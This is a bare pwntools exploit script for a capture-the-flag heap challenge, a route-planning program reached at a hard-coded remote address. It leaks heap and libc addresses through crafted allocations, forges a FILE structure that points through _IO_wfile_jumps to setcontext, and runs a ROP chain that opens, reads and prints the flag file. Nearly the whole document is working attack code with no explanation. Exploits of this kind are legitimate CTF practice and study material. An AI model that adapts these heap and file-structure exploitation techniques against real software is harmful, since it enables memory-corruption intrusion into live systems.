1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171
| from pwn import* from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug' context(arch='amd64',os='linux') context.terminal=['tmux','splitw','-h']
ELFpath = './pwn' p=remote('139.155.126.78',36771)
trans=['guangzhou','nanning','changsha','nanchang','fuzhou','\x00\x00'] def add(size,from_d,to,far,con): p.sendlineafter(" Calculate the distance","1") if size==0x520: p.sendlineafter("What kind of transportation do you want? ","car") elif size==0x530: p.sendlineafter("What kind of transportation do you want? ","train") else : p.sendlineafter("What kind of transportation do you want? ","plane") p.sendlineafter("rom wher",trans[from_d]) p.sendlineafter("To where?",trans[to]) p.sendlineafter("How far?",str(far)) p.sendafter("Note:",con) def dele(from_d,to): p.sendlineafter(" Calculate the distance","2") p.sendlineafter("From where?",trans[from_d]) p.sendlineafter('To where?',trans[to]) def show(from_d,to): p.sendlineafter(" Calculate the distance","3") p.sendlineafter("From where?",trans[from_d]) p.sendlineafter('To where?',trans[to]) def edit(from_d,to,num,con): p.sendlineafter(" Calculate the distance","4") p.sendlineafter("From where?",trans[from_d]) p.sendlineafter('To where?',trans[to]) p.sendlineafter("Which one do you want to change?",str(num)) p.sendlineafter("How far?","0") p.sendafter("Note:",con) def dijk(dist): p.sendlineafter(" Calculate the distance","5") p.sendlineafter("Where do you want to travel",trans[dist]) def hack(): p.sendlineafter(" Calculate the distance","6")
add(0x520,0,1,1000,b'./flag\x00\x00'*0x10) add(0x540,1,2,1000,b'./flag\x00\x00'*0x10) add(0x520,0,1,1000,b'./flag\x00\x00'*0x10) add(0x520,2,3,1000,b'./flag\x00\x00'*0x10)
dijk(3)
dele(0,1)
add(0x540,2,3,1000,b'a')
add(0x520,0,2,1000,b'a') add(0x520,0,3,1000,b'a') show(0,3) p.recvuntil('Distance:1000') p.recvuntil('Note:') heap_base=u64(p.recv(6)+b'\x00\x00')-0x00005c8312455461+0x5c8312454000 print(hex(heap_base)) dele(1,2) dele(0,3) add(0x540,0,4,1000,b'a'*0x510) show(0,4) p.recvuntil(b'a'*0x510) libc_base=u64(p.recv(6)+b'\x00\x00')-0x0000774c6521ace0+0x774c65000000 print(hex(libc_base)) print(hex(heap_base))
libcbase=libc_base
fake_io=heap_base+0x0000625a85e98330-0x625a85e94000 IO_wfile_jumps=libcbase+0x2170C0
execve_addr=libcbase+0xeb080
setcontext_61=libcbase+0x539E0+61
pop_rdi=0x02a3e5+libc_base pop_rsi=0x02be51+libc_base pop_rdx2=libc_base+0x11f2e7 ret=pop_rdi+1 buf=heap_base+0x5c8f6383c9e0-0x5c8f6383b000
open=0x1144E0+libc_base read_a=0x1147D0+libc_base puts=libc_base+0x80E50 payload=p64(pop_rdi)+p64(buf)+p64(pop_rsi)+p64(0)+p64(pop_rdx2)+p64(0)*2+p64(open) payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf-0x100)+p64(pop_rdx2)+p64(0x100)*2+p64(read_a) payload+=p64(pop_rdi)+p64(buf-0x100)+p64(puts)
rop=payload
pay=flat( { 0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], 0x88:p64(fake_io+0x1e8),
0xa0:[p64(fake_io+0x30)], 0xc0:[p64(1)], 0xd8:[p64(IO_wfile_jumps+0x30)], 0x110:[p64(fake_io+0x118)],
0x118:flat( { 0x18:[p64(setcontext_61)] },filler=b'\x00' ),
0x138:flat( { 0x68:p64(fake_io+0x1e8), 0x70:p64(0), 0x88:p64(0),
0xa0:p64(fake_io+0x1f8), 0xa8:p64(ret) },filler=b'\x00' ),
0x1e8:flat( { 0x00:p64(0)+p64(0), 0x10:rop
},filler=b'\x00' ) },filler=b'\x00' ) add(0x520,1,2,1000,b'a') add(0x520,3,3,1000,b'a') add(0x540,1,4,1000,b'a') add(0x540,4,4,1000,b'a') add(0x520,1,3,1000,b'a') add(0x530,1,1,1000,pay[0x00:]) add(0x520,1,2,1000,b'a')
dele(1,4) dele(3,3) add(0x540,2,4,1000,b'a'*0x500+p64(0)+p64(0x531)+p64(0x400000001)+p64(0x300000100)) add(0x540,1,2,1000,b'a') ioall=libc_base+0x021B680
edit(1,4,0,p64(0)+p64(0x521)+p64(0)*3+p64(ioall-0x20)) dele(1,3) dele(1,1) add(0x540,1,2,1000,b'a') add(0x540,1,2,1000,b'a')
hack()
p.interactive()
|